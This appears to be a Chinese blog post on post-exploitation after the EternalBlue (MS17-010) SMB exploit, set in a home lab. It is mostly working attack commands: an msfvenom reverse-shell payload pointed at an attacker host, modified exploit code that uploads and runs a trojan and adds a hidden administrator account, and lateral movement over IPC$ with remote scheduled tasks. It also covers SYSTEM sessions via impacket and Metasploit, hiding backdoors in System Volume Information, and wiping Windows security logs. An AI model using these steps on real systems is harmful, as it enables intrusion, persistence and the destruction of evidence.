网络安全TIDE_网络安全一名脚本小子的进阶之路

从永恒之蓝看后渗透

2019-10-21  本文已影响0人  RabbitMask

我们今天的故事,从永恒之蓝开始……

工具地址:https://github.com/worawit/MS17-010

管道探测:

python2 checker.py 192.168.154.138

程序执行:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe

变更如下函数,免杀处理后发送木马到目标指定目录并执行:

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
    service_exec(conn, r'cmd /c  c:\\Users\Public\rabbit.exe')

python zzz_exploit.py 192.168.154.138
脚本语法是需要管道名称的,如不指定则自动选择,如下上传并执行成功。

当然,这里只是个例子,运行的不一定是msf,自行替换。

账户控制

同样,使用zzz_exploit.py,函数变更如下新增账户:

def smb_pwn(conn, arch):
    service_exec(conn, r'cmd /c  net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')
IPC$连接
#建立ipc$连接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#断开全部连接
net use * /del /y
#将目标C盘映射到本地的z盘,渗透测试一定不要做这个
net use z: \\IP\c$`
#把本地文件复制到目标主机的共享目录
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#远程增加定时任务:
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定时任务
at \\192.168.15.180 /delete /y
#查看当前定时任务
at \\192.168.15.180

然而在我们的PC>win7版本时,不再支持at命令,替代方案为schtasks

#创建定时任务
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System  /u rabbitmask /p "1q2w3e4r!"
#查看当前定时任务,如不加/tn test则查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#删除掉刚刚增加的定时任务
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#参数解释
/create表示创建计划任务
/tn表示任务名
/tr指定运行的文件
/sc是任务运行频率
/st是执行时间
/s指定远程机器名或ip地址
/ru指定运行任务的用户权限,这里指定为最高的SYSTEM
#查看远程目标进程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#杀死pid为1000的进程
taskkill /s 192.168.15.180 /f /pid 1000
#杀死名为rabbit.exe的进程
taskkill /s 192.168.15.180 /f /im rabbit.exe
目录选择

为什么要单独拿出目录选择来说道下呢,我们来看个比较,首先是administrator权限看到的C盘根目录:

然后我们通过木马的提升的system权限看一下:

可以看到其中有几个目录是用户看不到的,包括administrator,只有system拥有访问权限,这里就是后门最佳的隐藏地点。

其中System Volume Information可写作system~1,不用担心空格等问题:

会话获取

既然已经创建完账号密码了,想直接执行命令的话ipc$其实并不太方便,我们直接smb登录目标。
为什么不用RDP?我也问过同样的问题,差点没被内网大佬喷死,有些场合RDP确实风险极大,与君共勉。
这里安利个python的第三方库impacket

项目地址:https://github.com/SecureAuthCorp/impacket

python smbexec.py rabbitmask:1q2w3e4r!@192.168.15.181

这里我们已成功通过smb登录目标,且权限为system,最后建议退出方式exit,否则可能有未知错误,尝试指定下共享路径。

python smbexec.py rabbitmask:1q2w3e4r!@192.168.15.181 -share admin$

这里插一句,共享路径是指的即逻辑共享(C$,D$,E$……)和系统目录(ADMIN$)共享,可通过net share了解:

python wmiexec.py rabbitmask:1q2w3e4r!@192.168.15.181
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!
日志清理

适用范围>=win7
wevtutil gl security查看SECURITY日志的详细信息

wevtutil cl security清空SECURITY日志

同理可操作其他日志:APPLICATIONSETUPSYSTEMFORWARDEDEVENTS

上一篇下一篇

猜你喜欢

热点阅读